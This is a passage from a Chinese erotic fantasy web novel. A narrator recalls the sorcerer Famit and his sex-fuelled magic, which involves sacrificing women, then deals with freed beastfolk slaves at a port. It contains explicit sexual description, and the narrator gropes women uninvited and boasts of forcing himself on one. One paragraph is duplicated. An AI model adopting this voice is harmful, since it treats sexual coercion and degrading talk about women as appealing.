身為武者的直覺,我相信東條老師經歷兩百餘年的千錘百煉,如今已不存在破綻,要戰勝他,只能採取正攻法,以更為強勢的力量正面壓倒,又或是憑靠優勢人力群攻,這樣才有致勝可能。
問題是,這一仗的時間不能太長,如果戰鬥時間拉長,東條老師便能召喚暗之神宮的守護靈衛,這是他身為祭司之首的特權,守護靈衛戰力極強,多了這群介於生死之間的異物參戰,勝負之數就很難說。
除此之外,戰鬥超過一刻鐘,東條老師蓄力完成,就能釋放他最得意的「七煞星爆煉獄」,那種超絕的破壞威力,大有可能瞬間消滅我們所有人。
拜月教的第一強人,豈同泛泛?跟隨在東條老師身邊的日子越久,我越是認識到這名絕頂強人的深不可測。相形之下,我對父親所策劃的行動並不看好。
殺伐、陰謀、鬥爭、鮮血……生命就在這些事物的反覆出現中流逝,歲月年復一年,我對早已習慣的事物沒有什麼感覺,身邊的人來來去去,生生死死,這麼多的面孔,並沒有在我記憶中留下多少印象。
能夠停留在我記憶中的容顏,為數實在少之又少,東條老師、父親……除了這兩張面孔,就只有……那個名叫法米特的少年!
很奇怪,他不是個不起的重要人物,也沒什麼本事,與我就像是生存在平行世界的人,偶然交錯留下軌跡,應該船過無痕,卻想不到時間過去那麼久,對他的印象始終難以抹滅。
法米特……他到哪裡去了呢?
很奇怪,他不是什麼了不起的重要人物,也沒什麼本事,與我就像是生存在平行世界的人,偶然交錯留下軌跡,應該船過無痕,卻想不到時間過去那麼久,對他的印象始終難以抹滅。
法米特……他到哪裡去了呢?
就在他神秘失蹤後不久,東條老師的策劃發動,利用些許計謀,孤立與斷絕了佛尼厄魔堡的魔力源,不久之後,慈航靜殿的誅魔大軍開到,聖騎士阿爾方斯·修·卡穆親自領軍,在這位慈航靜殿第一高手的猛攻下,雄偉的地下城被破,整個佛尼厄魔堡給夷為平地,到現在,那個曾經存在的險峻魔窟,已變成人們偶爾才提到的傳說。
東條老師對此甚是扼腕與遺憾……自然不是為了佛尼厄魔堡,而是為了法米特所掌握的特殊技術,獨立於六大魔法系之外的理論,蘊藏無限的可能性,現在卻這麼沒了,實在是很讓人遺憾的事。
生長地被滅,離奇失蹤的法米特也沒有再出現,沒有任何關於他的消息,彷彿這個人從不存在,有時候,我站在窗邊,仰望天空,覺得這世上好像只有我一個人還記得他。
命運的轉向,像是一個無法預測的瘋狂滑輪,總是在人們所不曾預期的時候,突然在生命中劃過軌跡。
這一年的十一月,大雪紛飛的冬天,我奉命率軍突襲以馬內列王國的一所大監獄,要救出幾名意外失陷敵方的技術人員,本來行動進行得很順利,我輕易消滅了阻礙在前的敵人,但在一切成功的剎那,忽然出現了一群蒙面殺手。
這些殺手的目標不是針對我,實力更是出乎意料地強橫,大開大闔的刀劍路數,看來並不像是普通殺手,而近於戰場上的勇士。這群殺手與我遭遇,發生了意外的激戰,最後全數被我斬盡殺絕。
殺手來得蹊蹺,完成任務的我進行調查,結果在殺手出現的地牢,發現了一個衣衫襤褸、滿面鬍鬚,氣息奄奄的青年,我最初不以為意,也不能讓看到我出現的人繼續活著,滅口就成了共識,但那個昏迷的青年卻在這時醒來,儘管臉上滿是汙垢與鬍鬚,不過那雙眼神卻異常地熟悉。
「夏……夏洛堤……」
「法米特?」
能夠讓我吃驚的事不多,但突如其來的重逢故人,委實令我大吃一驚。照理說,我應該立刻把他幹掉,不可以給人看到我出現在這裡,但連我也不知道為什麼,對著這個人,我竟生不出殺人的念頭,將他救了上來,並且設法安頓。
有生以來,這是我第一次不照命令行事,卻也是第一次沒有任何人給我命令,我照著自己的意志來做事,這種感覺非常特別,隱隱約約,竟然有重說不出的輕鬆。
死裡逃生的法米特甦醒之後,告訴了我很多東西。之前佛尼厄魔堡殲滅來犯的冒險隊時,意外抓獲了三名年輕貌美、各具艷姿的佳麗,全數交給法米特,作為「實驗」的素材。
法米特渴望得到美貌的素材已經很久了,這個夢想一旦達成,他立刻將所有構想付諸實施,與那三名美貌少女盤床大戰,連續幾天幾夜,搞得天昏地暗,就連下床的時間都沒有。本來這樣並不是什麼大問題,但那三名少女之中的一名身份特殊,居然是以馬內列王國的第一公主,這麼一來,事情登時就不同了。
長公主凱薩琳·修·卡穆,年輕驕縱,膽大妄為,私自進行冒險的事,在幾天後被宮廷發現,並且研判出公主失陷於魔堡之中,於是派出特遣隊,突襲魔堡,救出公主。以馬內列王國的騎士團名震當代,聖騎士阿爾方斯是國王之尊,親手調教出這支實力強橫的沙場健旅,當他們彙集精銳,殺入魔堡,地下城中別說無人能敵,甚至還不曾發覺。
法米特連續幾天與凱薩琳等人交媾,騎士團精銳殺入時,他也被逮了個正著,一起被拎回以馬內列王國。照理說,法米特的必然命運是立即被處死,但似乎由於他技巧高超,能力不凡的緣故,凱薩琳公主將他留了下來,並且在之後的一段時間裡,把他視為男寵,與他每日歡好,還招來大批侍女,大玩荒唐性遊戲。
每天吃得飽飽,睡醒就有美女搞,這大概是天下男人的共同美夢,但是再美好的夢,做得多了也是會反胃的,法米特察覺到自己的處境不妙,在一個夜裡偷偷開溜,跑回佛尼厄魔堡,但那時地下城已被消滅,無家可歸的法米特便開始了流浪生活。
天涯飄零,這種生活自然是很不好過,但更糟糕的一點,是凱薩琳公主不肯放過他,而且不再是想抓他回去當男寵,是為了避免醜聞外洩,不顧一切要他的命,屢次派出刺客,死命窮追,讓法米特整日在生死之間徘徊,最後迫於無奈,想到了一個辦法,置諸死地而後生,索性就躲到以馬內列的大監獄去。
以馬內列的大監獄,關了太多的囚犯,一個人藏在這裡頭,很難在短時間內被找到,法米特這一著賭對,凱薩琳公主失去了目標,花了好長一段時間調查,才找到法米特的所在,再次派出刺客,卻恰好碰到我執行任務,救了他一命。
「太感謝了,你救我一命,我以後一定會還你這個人情的。」法米特抓著我的手猛搖,問道:「對了,夏洛堤,你這些年過得好嗎?」
這問題讓人很難回答,以一般人的標準,我不曉得自己的生活算好或是算不好,腦中所憂慮的,則是今日自己為何會如此反常,做出多餘的事,私自救人。
最後,我給自己的答案,則是要完成當初東條老師交付的任務,探查出法米特所掌握的神秘魔法。被交付在我手中的任務,從來沒有完成不了的,那次的失敗非戰之罪,現在我就要將它完成。
或許是出於對救命恩人的感激,我只稍稍提了個開頭,法米特就主動順著說了下去。
「我所研究的魔法,叫做淫術魔法,是利用人體本身性慾能量來發動的,與現有利用六大自然元素的魔法都不同,創始於異大陸雷因斯·蒂倫王國的魔導研究院院長……」
照法米特所言,許久許久以前,在遙遠的異大陸上,有一位名叫格理帕多恩·埃克多·哈特·比萊德曼的魔法研究院院長,對各種魔法都有這極其深入的認識和瞭解,被稱為「魔法百科全書」,是一位偉大的魔法師。
淫術魔法的理論基礎,便是由這位老魔法師所創,因為這是來自異大陸的魔法,所以施放的原理與大地上六大魔法系有所不同。記載著淫術魔法的秘錄,不曉得何時被人漂洋過海地帶來,開始在大地上流傳,直到落入法米特的手裡。
法米特最初未曉得人事,這套憑靠人體性慾為能源的魔法,無法得到有效發揮,可是經過了許多時間,法米特有了自己的「歷練」,對魔法書中記載的東西大有所悟,這才真正開始了淫術魔法的修練。
「這套魔法……強嗎?」
話才出口,我就覺得自己問了一個笨蛋問題,要是這套淫術魔法很強,法米特又哪需要這麼東躲西藏,甚至還躲到大監獄裡頭來修練?這樣看來,淫術魔法只能說是奇特,卻不是那種大威力的魔法。也對,並不是魔法研究院院長就比較高明,創出的魔法就會特別厲害。
「這個嘛……要說厲害,它裡頭大多數的召喚術,是沒有強到以一敵千的地步,為了也不是驚天動地的那種……」
法米特的聲音有些赧然,但說到後來,聲音突然出現一絲振奮,「不過,如果能發展到最後頭,把那個地獄淫神給完成,一切就不同了。照記載中所說,這個地獄淫神非常厲害,是召喚術裡頭前所未有的成就。」
他的這份振奮,讓我特別留上了心,詢問他有關地獄淫神的詳情。
「呃?這是淫術魔法的最高機密,怎麼可以隨便講給別人知道?」法米特一頓,道:「不過你是我的救命恩人,當然不是別人,就讓你欣賞一下我這段時間的研究成果。」
法米特說得煞有介事,但是當他開始解釋,我卻發現,這套地獄淫神並不如他所說的那般厲害……不,其實也說不上厲不厲害,因為法米特說轉述的書中內文,只是一些簡單的構想與理論,換句話說,當初創造淫術魔法的那位大魔法師,並未將最後這一著完成,僅僅留下自己的思路,留待後世之人繼承,客服自己所遇到的技術難關,把這最後一著真正完成。
不過,所有能夠流傳後世的魔法,都是經過千錘百煉,靠著無數人的心血與努力來完成,並非一蹴可成,只有極少數是由絕頂天才獨立創造。法米特只是個小小術士,橫看豎看也不像是天才人物,要說他能夠完成地獄淫神,我實在是很難相信。
想到這些,我微微冷笑,表情有了些許變化,法米特正自說得興高采烈,對我的表情沒有察覺,只顧著說他對地獄淫神的構想。
「……這段時間的研究,我發現地獄淫神的理論,還缺少了最關鍵的一步。以獻祭女性的魂魄為主體,形成淫神召喚獸,如果成功,那就能夠突破六大魔法系別的限制,以一人之力,同時運使六種元素魔法。」
法米特皺眉道:「可是,如何將女性魂魄改造為淫神召喚獸,這點書裡卻說得不是很清楚。我推算過,要是完全照書裡說的去做,成功的幾率近趨於零,傷亡太多,這根本不是一套真正完成的魔法。」
「很多大型魔法的失敗率都高,九成幾率失敗的大魔法不算罕見,書裡沒有說該怎麼辦嗎?」
「有……」法米特的表情一沈,歎氣道:「格理帕多恩似乎是認為,只要獻祭的女性數目夠多,哪怕死掉九萬九千九百九十九個,都會成功一個,所以是用犧牲者的屍體,來堆高成功率……這種事情,我哪可能做得出來啊?」
令人訝異的說話,法米特還真是不像黑暗中人,照理說,在佛尼厄魔堡中成長的人,不應該會顧忌多傷實驗體的性命。
以前我所見過的魔法師,只要是能夠成就自己的魔法,幾時會惋惜造成什麼傷害的?對魔法師來說,能夠獲取更強大的力量、更奧妙的魔法,就是一切,至於獻祭的犧牲……那是從來沒人在意的東西,尤其是出身黑暗世界的魔法師。
看見法米特一副皺眉的愁容,我很不能理解,在那種環境生長的他,為什麼還能有這種天真的表情,難道他一點都沒有學會弱肉強食的道理?鬥爭之中,只有分強者與弱者,在鬥爭中失敗的弱者,就是任人宰割,強者屠殺誅戮這些弱者,是勝利之後的權利,有什麼好顧忌?有什麼好可惜的?
我不能理解法米特的想法,可是,卻對他所說的理論有了意見。單從這些東西聽起來,地獄淫神的理論結構,與生物的魂魄有很大關係,法米特如果要把這未完成的魔法補完,這方面的知識應該是主要關鍵。
以前聽東條老師說過,法米特並沒有接受過正規的魔法教育,一切只是照書自學自悟,儘管這樣避免了陷入前人窠臼,能有許多別出心裁的想法,但不可免地,也勢必要繞很多冤枉路,畢竟沒有根柢的空中樓閣,稍遇風吹就有一堆大小問題出現。
過去為了要把死白眼的特長髮揮,我也有接受諸多死靈魔法的訓練與教育,對這方面的知識大有涉獵,只不過未夠全面,還沒法教導別人,僅能做些指點。
「要完成地獄淫神,我覺得你只有兩條路可以走,一個是好好花上三五年的時間,找一位明師,循正規途徑學習死靈魔法,尤其是靈魂構成方面的知識,會對你有很多幫助的。」
這個建議說出來,我和法米特都覺得沒什麼可行性,以他現在的狀況,根本不知道能去哪拜師學藝,而那些已成名的死靈學者,則是沒可能會看上他,所以應當是行不通的。
「那麼,還有另外一條路,對靈魂學有深刻瞭解的,並不一定只有死靈學者,在南蠻的獸人世界,有一個很奇特的種族,素來不與外界往來,不過她們對於靈魂學方面的認識,甚至有外界死靈學者所不及之處。」
地系魔法中的獸魔術,是黑魔法召喚術中的一系旁支,吸取了靈魂學方面的巔峰成就,脫出原有類別,藉著地系的沛然能量而重新成形,僅流傳於南蠻一帶,變成獸人們的專屬技術。
謠傳中,在獸人世界的深處,有一個奇妙的種族叫做羽族,是獸魔術巔峰成就的所在,保留了從黑暗系過度到地系階段的獸魔術,所施放的獸魔不僅威力強大,而且往往性情凶殘,與黑魔法召喚出的魔物極其類似。
統領羽族的鳳凰天女,甫出生便身帶十二頭獸魔,哪怕只是個小嬰兒,卻具有翻天覆地的神通之力。這種事情聽來太過荒誕,因為路途太遠,無法查證,但哪怕這些事的真實性只有一半,也足以證明羽族對靈魂學有不凡的瞭解,是一個極佳的取經所在。
「那你去南蠻吧,在那裡應該能得到你所欠缺的東西,只要深入南蠻,找到傳說中的羽族,發現了鳳凰天女的秘密,那或許有希望補完地獄淫神的關鍵。」
「南蠻……獸人們的世界啊……傷腦筋,獸人們對我們可不太友善,隨隨便便去,連死也會死得隨隨便便啊……」
法米特低聲沈吟,目光望向遠方,從最初的迷惘、混亂、顧慮,慢慢綻放開了一道曙光,露出了一副柳暗花明後的狂喜之情。
「對!有什麼了不起,不過就是遠了點而已,獸人嚇得倒我嗎?還沒有以馬內列的刺客可怕咧,反正刺客要殺我,我也要找地方躲,乾脆就去南蠻躲一躲,刺客也找不到我。」
這句話實在說得很沒男子氣概,但對於一個被追殺成過街老鼠的小術士,倒也就不必過度奢求了。
我凝視著法米特,只見他握著拳頭,滿臉都是興奮的表情,彷彿眼前出現了一個無比遼闊的新天地。他生長於佛尼厄魔堡,在十幾年的成長過程中,幾乎不曾離開魔堡,後來被綁架離開,開始過著顛沛流離的逃亡生活,其實都沒有機會好好看看這世界,現在有機會遠赴南蠻,儘管他自己還沒察覺,只把這認為是躲避追殺的方法,但其實……他的心已經像個搶到喜愛玩具的頑童,開始飛躍、飛揚了。
話就說到了這裡,我們分道揚鑣,讓那短暫糾結繚繞在一起的命運線團,再次延伸為兩條平行線。為了怕法米特離開不久,便給刺客輕易宰掉,我把自己平素慣用的一把短刀相贈。這柄短刃原本並非神兵,但卻被下過毒咒,成為毒刃,接觸到鮮血,立刻化為封喉劇毒,在我手上已不曉得誅滅過幾千條人命,現在被幾千條陰魂的怨血所沾,最是厲害不過。
憑靠著這件法器,法米特應該有更多本錢逃出生天。這件法器,還有我所做的指點,是我送給法米特的臨行禮物,假使他能夠幸運地掙扎求生,那麼在幾年之後,我們應該會有機會再見一面吧。
只不過,人算不如天算,與上次的分別相比,這次的狀況有些不太相同,成功逃生的法米特,一路朝著南蠻而行,卻是展開了一段與低調背道而馳的旅程,這個人彷彿是天生的掃把星,又或是瘟神投胎,每到一個地方,就會意外捲入陰謀事件,然後把本來的混亂給增幅,形成一場腥風血雨的大災難。
這段旅程裡頭,法米特勇鬥惡龍、智破連環血案,搞砸了拜月教的幾個計劃,就連七大祭司中的兩名都意外死在他手中,造成舉世震驚。
連串事件中,法米特結識了一批支持他的友人,還有如同每個冒險故事的勇者主角一樣,有了一群美女圍繞在身旁,由一個不起眼的小術士,漸漸變成了震動大地的大魔法師。
在這段時間裡,我與法米特保持著秘密聯絡,還機緣巧合幫他解過兩次殺身之禍,聯手幹掉超出他實力的強敵,這些事非我所願意,卻總是在我無法拒絕的情形下發生。
命運確實是一件奇怪的東西,把兩條看起來平行線的東西,漸漸地揉合為一,糾扯不清,無法分離……
◆ 第五章:特拉維夫.獸人解放
做好夢這種事情有益身心,不過如果是搞這種類似托夢的精神活動,那就是非常累人,在夢境結束之後,我還昏睡了好長的一段時間,這才清醒過來。
(奇怪,怎麼有點不太對勁的感覺?我要找尋的訊息,不是這樣子的東西啊,無頭騎士的過去……敘述得不夠多,資料不全……)
清醒之後,我的思緒很快就飄到這個問題上。原本花時間去閱讀無頭騎士的記憶,是為了得到無頭騎士的資料,但連續兩次,雖然得知了無頭騎士的出身,可是重要的訊息卻是一件也沒有,這是怎麼回事呢?
像這種思念波回溯,確實做不到指定回溯的位置,不是想知道哪段,就能知道哪一段的,然而,亡靈的思念波,肯定是記載著這個亡靈最深的執念、最放不下的情感,或愛或恨,所以閱讀亡靈的思念波,應該就能知道它最重要的東西。
連續兩次對無頭騎士的思念波回溯,所閱讀到的訊息,與其說是記載著夏洛堤的訊息,倒不如說是透過夏洛堤的眼睛,來認識法米特·修·卡穆這個人,以考古來說很有價值,但在對無頭騎士的戰術上,就沒有絲毫意義。
從夢中發生的事看來,夏洛堤和法米特應該是摯交好友,儘管這兩個人一個冷漠孤高、一個遲鈍笨拙,不過我仍然感覺得出,在他們兩人之間,有種真摯純潔的情感不住萌生,他們兩個人應該很好的朋友才對。
所以,被摯友設計、出賣,導致落敗身亡的夏洛堤,心中充滿著無比怨毒,導致思念波中全都是與法米特相關的記憶,這倒是可以理解,只有兩個令我困惑的疑點,難以解釋。
第一,法米特這個人,看來不像是聰明到會用陰謀害人,後來卻用這種手段對付好朋友,這是因為日後兩人之間有了什麼深仇大恨?或是有什麼其他緣故?
第二……第二……呃,奇怪,好像有一件事情非常不對勁,偏生又說不出來,似乎是法米特看夏洛堤的眼神,有些地方很古怪,不過我又說不出古怪在哪裡,這疑點真是似疑非疑……
(媽的,這樣子下去,事情要怎麼辦才好?用了娜西莎絲一堆稀有的魔法材料,卻查不到重要線索,事後被追究起來,這筆帳可不好清啊。)
真要說我一無所獲,其實也不至於,至少透過夏洛堤的回憶,我獲得了很多有關法米特的寶貴資料。無論是淫術魔法書、黃晶石,都只是記載著知識,對法米特的生平際遇幾乎隻字不提,我根本無從得知這位「史上最好色的魔法師」到底是何等樣人。
(對了!無心插柳柳成蔭,查不到無頭騎士的事,那反過來查法米特的事情也是一樣啊!)
這個念頭一閃過,我的思路豁然頓開,想到了一個非常重要的問題。
一直以來,我苦心鑽研法米特最厲害的魔法,橫行天下的六隻暗黑召喚獸,卻苦無線索,進展甚微,只能盲目探索,現在夏洛堤的回憶,卻給了我非常寶貴的線索。首先淫術魔法是來自異大陸的技術,所以不屬傳統六大魔法系內,如果要徹底明白淫術魔法的源流與奧秘,搞不好還得要出海,往異大陸跑一趟,看看始創者有否在國內留下什麼筆記,把淫術魔法進一步補完。
其次,流傳過來的淫術魔法,本身是一部未曾真正完成的理論文獻,至少最重要的地獄淫神並未完成,是用賭幾率的方法硬幹,最後還是在法米特手上才得到真正的成功,而與夏洛堤在大監獄分道揚鑣時的法米特,只是個遊興高過夢想的平凡小術士,所以地獄淫神的成功,是在更以後的事。
離開大監獄之後的法米特,真正開始了創造傳說,無論他被多少人追殺,有過多少死裡還生的艱險際遇,他的人生是從這裡開始轉變,遇到了同伴、提升了力量、體驗了人生的酸甜苦辣,亦是這段時間的經歷,讓他從一個小術士變成了大魔法師,逐步奠定了能在戰國時代打橫著走的無敵地位。
法米特的力量如何增進?這點我不得而知,但夏洛堤卻替我點出了一個大方向:羽族!
娜西莎絲曾經對我說,伊斯塔的魔法師歷經長久研究,認定法米特的暗黑召喚獸和羽族大有關聯,而夏洛堤的指點也證明了這一點。目前的資料尚有不足,我做不了什麼,可是假如這些夢繼續做下去,讓我得知暗黑召喚獸的完全資料,那麼橫行大地的無敵凶獸,極有可能在我手中再度重現出來。
這個想法讓我興奮得快要跳起來,如果能夠得到六大暗黑召喚獸,那我就有實力與無頭騎士一戰,搞不好因此變成天下無敵,什麼高手、強者,我都不放在眼裡了。
(等等,冷靜、冷靜……好危險啊,果實太誘人,差一點就失去理智了,我現在還沒變成天下無敵,太早上演慶祝行情,等於是自取滅亡啊。)
我收拾了一下思緒,穿好衣服,預備走出房間,向那些苦候我做夢報告的人給個交代。
如果可以,我恨不得立刻插翅飛到巴格達,趕去巫神學會的圖書館,仔細閱讀文獻內的記載,搞清楚法米特生前發生的一切。不過,這個想法不能實現,因為理應十萬火急趕往巴格達的我們,被首批獸人奴隸的回歸問題,給絆在目前所處的特拉維夫。
由於諸事纏身,我直接把眾人約在特拉維夫的港口,交代夢中事物,順便處理手邊問題。
「……所以,這次的夢境沒有獲得什麼重要訊息?」
娜西莎絲微微皺起了眉頭,萬獸尊者則是直接怪叫起來,「搞什麼東西?你總是夢到無頭騎士和法米特,這兩個男人是搞基的嗎?不然怎麼每次都一起出現?」
「這個嘛……外公,我和老白也常常一起出現,這不代表我與他就有什麼姦情。」
這個回答讓萬獸尊者吹鬍瞪眼,換做是別人,用這種口氣與他說話,搞不好就被一掌斃了,可是從「寶貝外孫」的口中說出,他老人家雖然不悅,卻也說不了什麼東西。
夢的事情沒有什麼進展,交代完之後,眾人就各自散開熱,娜西莎絲建議我回去再睡一覺,看看能否再夢到什麼新訊息,萬獸尊者希望我睡覺之前多干幾個女人,早點為他添幾個曾孫。
真是可笑,我這樣的人居然也會碰到成家壓力,想想也是很不可思議。本來在這邊交代完,我就想回去找事情做,不過一幕動人的光景,吸引了我的注意。
從特拉維夫搭船出海的獸人奴隸,都是老弱傷患一類,急急忙忙運來,身上不是有病就是有傷,要是就這麼扔上船去,一路海浪顛簸,還沒到目的地就要掛掉,而且還可能傳染船上族人。
所以,送這些獸人上船之前,必須要進行簡單的治療,起碼包紮一下傷口,或是一人給一包藥粉。為了這個理由,港口邊搭起了一大片帳篷,裡頭都是臨時召來的醫護人員,替獸人奴隸進行診療,這些醫護人員個個表情古怪,想要他們沒有種族歧視,大概是不可能了。
在這一堆醫療人員中,有一個很特別的存在,看來真是雪白的天使,穿著一身素淨的白色制服,頭頂一對狐耳輕輕翹動,臉上掛著甜美的純真笑容,讓人一看到便覺得生機洋溢。
沿著烏亮的秀髮向下,不合身的白色護士服,領口扣子被崩開,碩大豐滿的雪白肉丘完整地表現出來,擠出一道足可吸走男人魂魄的深溝,雙丘峰頂依稀可見微微突起的蓓蕾,再往腹部看去,窈窕曲線也被明顯勾勒在眾人面前,散發著性感與肉感兼具的嬌艷。
無可否認,穿著護士服在海港邊幫忙的阿雪,是帳篷區裡最美麗的一道風景,只是我不曉得這種事情是好或不好,因為她所跑過的地方,確實帶來旺盛生機,有些重症病患一下子坐了起來,甚至還跳了起來,比連打三針興奮劑還要厲害,可是當阿雪的背影消失,這些重症病人卻噴著鼻血,像被人連斬十七八刀似的頹然倒下,然後周圍就開始驚叫慘呼。
嗯,基本上,這些也很難怪他們,當初連方青書與我都搞到鼻血狂噴,這些沒見過世面的獸人奴隸會搞成這樣,那也是情理中事。
如果專注這幕光景太久,可能連我也要出事,所以我轉移目光,被另一幕動人景致給吸引住。
那是一個美麗的背影,穠纖合度的臂膀,纖細如柳的腰肢,在不經意的輕輕擺動間,散發著女體的成熟魅力;尤其單薄長裙包覆的豐臀隆起,充滿了野性的原始誘惑力,刺激著人們的想像力,在端莊中反而生出淫靡的味道。
特殊的熟艷風情,彷彿不是在進行醫療行為,而是在對現場所有的男人做著挑逗。
(他媽的,扭扭屁股都騷成這樣,這是個賤貨!)
仔細盯著白牡丹腰肢擺動的性感動作,我不由得聯想起她在我身下,被干到主動搖起屁股的騷樣,身體立刻便是一陣火熱。
美艷的熟婦,就讓我想起了她的寶貝女兒,羽虹這兩天不時出現在我身邊所做的各種挑逗,讓我恨不得自己恢復成先前的石化狀態,這樣就用不著受這種慾求不滿的苦楚。
「師父!」
一聲甜美的呼叫,在我耳邊響起,我一轉過頭,美麗狐女的雙唇就印了上來。
雙唇緊密的貼合,果凍般的櫻唇香甜而柔軟,清新的少女氣息從耳後、香頸等處飄散出來,芬芳的氣味使人迷醉;懷裡的嬌軀如小鳥一般顫抖,我把熱吻的層次深入,來回攪拌的舌頭進行著大膽情挑,讓少女芬芳的香津在彼此口中熱烈交流。
動人的熱吻,是最好的安慰,我連日來的疲勞都彷彿得到紓解,當這一吻結束,阿雪睜著大大的眼睛,很高興似的瞧著我。
「師父……阿雪果然沒有看錯人,師父真的是個大英雄,是全天下最大最大的英雄,阿雪的族人都是因為師父才得到解放,師父……謝謝你。」
阿雪的細膩嗓音動人,不過我聽在耳裡,自然是只有苦笑的份了。解放獸人奴隸,我不能說沒有功勞,但在整個事情當中,我只是一個小小的推手,在天時、地利、人和都水到渠成時,小小推了一下,這件事就成了,若說因此被阿雪看成大英雄,這可真是令我臉紅。
不過,臉紅歸臉紅,如果我會因此膽怯心虛,不敢去佔便宜,那我就是比夏洛堤還要沒有腦袋。
擺足我的一貫作風,大刺刺地將手按放在阿雪的胸口,無視身旁眾人驚愕的目光,直接探掌入衣,搓揉那一雙豪碩的美乳,讓H罩杯的柔軟肉球,在我手掌彈彈跳跳,生出沈甸甸的重量。
「嘿,別以為只是口頭道謝就算了,師父我可沒那麼好應付過去,應該有的報酬,今晚……哦,不改天我一定會去取的。」
突然想起,最近行程太忙,還沒決定是要再偷襲白牡丹,或是搞什麼有的沒的,先別與阿雪說死,會比較好辦。
阿雪聽了我的話,頭低了下去,不曉得她是在遺憾或是怎樣,但很快她就收拾好心情,挽拉起我的手,讓我到帳篷區裡去探視獸人。
大概因為阿雪事先替我做過宣傳,獸人們知道我是拯救他們的大英雄,又曉得我是萬獸尊者的外孫,所以我的到來,掀起了一陣英雄式的歡呼,阿雪與有榮焉,緊緊貼靠在我身旁,一臉幸福的表情。
我揮揮手,接受這些歡呼聲,並且試圖在這些人的臉上找尋一些東西,一些我所預見,卻是阿雪所看不到的東西。
「師父,你看,這些族人的身上都帶傷,這位老伯的身上都是鞭痕,還有那位嬸嬸,肩膀都被釘子穿過,還繞了鐵鏈……這些……哪有把他們當人對待?我們獸人同胞的生命,就這麼被賤視嗎?」
阿雪說得認真,神色間也出現了少有的怒氣,現場數百獸人的悲苦慘狀,在我眼中,還不及她眉間一絲慍意令我關注。
「別再難過啦,你已經解救了他們,他們再不用過那種慘痛的日子,這不就夠了嗎?」
「師父,你最好了。」阿雪勾過我的脖子,在我臉上親吻一記,「我希望這些同胞從此能快快樂樂,過著幸福的生活。」
「這個嘛……但願吧。」
現實總是沒有理想那麼美好,在剛才簡短的審視中,我發現了一個問題,就是這些「得救」的獸人奴隸,臉上的表情是有喜悅,卻又有更多的茫然、不知所措,顯然過慣了奴隸生涯後,突然要過一種新的人生,而且還得離家背井,回去那個全然陌生的「故鄉」,這些事……不是每個人都能坦然接受。
就是因為這些複雜的問題,所以就連剛才的歡呼聲,聽起來都那麼虛,欠缺打從心裡發出的歡喜雀躍。
而當我站在港口邊,看著獸人們一一上船,心裡突然生出一種很不妥的感覺暗叫不妙。
為了要確認這種感覺,我立刻找來白瀾熊,向他確認詳細狀況,想知道除了這批老弱婦孺以外,絕大多數的獸人奴隸是如何處理。
「伊斯塔方面承諾,會先把奴隸集中到巴格達,待整件事情告一段落,他們會安排大量船隻,運送獸人奴隸前往東海。」
「唔,總不會人家說說你就信了吧?有沒有什麼反制措施?」
我看過地圖,巴格達本身並非海港,但附近卻有出海口,要乘船出海不是做不到,但若伊斯塔人食言,不提供船隻,反而進行大追殺,那便會無路可去,除了少數高手外,其餘獸人恐怕都會被一次誅戮殆盡。
白瀾熊不是笨蛋,這種事情他應該也已經看到,不過這裡終究是伊斯塔,不是南蠻,他想到歸想到,真要說能做些什麼,我也很懷疑。果然,我的猜想命中,白瀾熊搖了搖頭,表示只能憑靠萬獸尊者的存在,來鎮壓伊斯塔的不良居心。
「要是大戰之後,尊者與無頭騎士兩敗俱傷,對我方將會非常不妙,所以尊者應該也會保留實力與元氣,當消滅無頭騎士之後,還可以有足夠實力,對付伊斯塔人。」
「嗯,老白你剛才說的東西,我想李華梅一定也很有同感吧,這下可是非常精彩,兩名主將在還沒開打之前,就先有了保留實力的共識,那開戰打起來的時候,我就真的要覺得非常不妙了。」
我這麼歎氣說著,而歎氣歸歎氣,我也不能責怪白瀾熊什麼,因為本來各方人馬就是有不同的利益與衝突,要他們真心聯手,這種事情是不可能的,而我現在所能做的,就是努力想個辦法,不靠他們來誅滅無頭騎士。
◇◇◇
繁忙的工作,需要適當的休閒來減壓,我的休閒就是女人,可是身邊所徘徊的女人,不但沒有能夠減輕我的壓力,反而搞到我一個頭兩個大。
對,問題的癥結就是羽虹。
也不知道羽虹哪來這麼多新衣服,自從誘惑戰術開始之後,裝扮性感的她便整日在我眼前晃來晃去,弄到我壓力狂增,心臟整日狂跳。
當我在白瀾熊那邊,與他共商大計時,羽虹一言不發地從門口出現,一條兩邊開岔,性感到爆的裙子,讓我和白瀾熊目瞪口呆。
我不停地盯著羽虹看,低胸緊身上衣顯現出凹凸有致的玲瓏身段,引起我的想入非非,想著她的俏麗的臉,想著她撩人心魄的美腿。
裙子底下的絲襪美腿威力驚人,跨出每一步都令我驚艷不已。我的視線捨不得地掃過少女修長迷人的大腿,正好看見她在大床上坐下,短裙上升一截。
那種穿絲襪的雙腿交叉坐姿,又高貴又帶點放蕩,看得我頭暈目眩。她胯下的美腿滑膩而又有彈性,絲襪和大腿接口使人心跳加速,架高的美腿晃啊晃,好像催魂的鐘擺,隱約間,還好像看到她大腿底下閃了一下。
「呃!」
我和白瀾熊差一點像惡狗吐舌頭,兩個人都進入發情狀態,滿腦子想羽虹現在穿什麼顏色的內褲,要是能把她絲襪拉下,底下不曉得又是什麼情形。
「你們兩個在談什麼?我也能聽一聽嗎?」
羽虹口中說著,往我們這邊坐過來,突然好像重心不穩似的,一下跌坐在我身上,用她穿著絲襪的大腿觸碰我,我很清楚她又在釣我胃口,這一下確實高明,隔著一件褲子,我清楚感受到那令我鼻血溢出的衝動。
這下可好,本來已經慾火中燒,現在少女穿著絲襪的屁股又壓我肉莖上,想做些什麼,偏偏白瀾熊在旁邊,心情固然是興奮極了,卻也尷尬透了。
羽虹坐在我膝蓋上磨來磨去,乍看下,好像羽虹在跟我開玩笑;但這雙美腿壓在我身上,令我動彈不得,又要壓抑伸出手摸羽虹絲襪的衝動,這可一點都不好玩。
明白我的窘促,羽虹還是不放過任何挑逗我的機會,一下側身,窄窄的裙子左邊開口撩起,讓我看到側邊紅色透明細繩的小內褲。不曉得是否錯覺,我好像還看到那件內褲濕濕的,有著水痕。
被這樣子挑逗戲弄,如果我真是一點反應都沒有,那就真是不用做人了,我看準位置,一下伸手去抱,想把羽虹給抱個滿懷,但卻忘記一件很重要的事,羽虹的武功比我高得太多,連帶身手敏捷也勝我諸多,我的手才一動,她立刻便有感應,彈跳躍起,一下子就從我眼前消失,留下我在遠處扼腕不已。
「兄弟,你這個妞真是夠辣夠嗆的了。」白瀾熊見到羽虹離去,就差沒有大聲笑出來了。
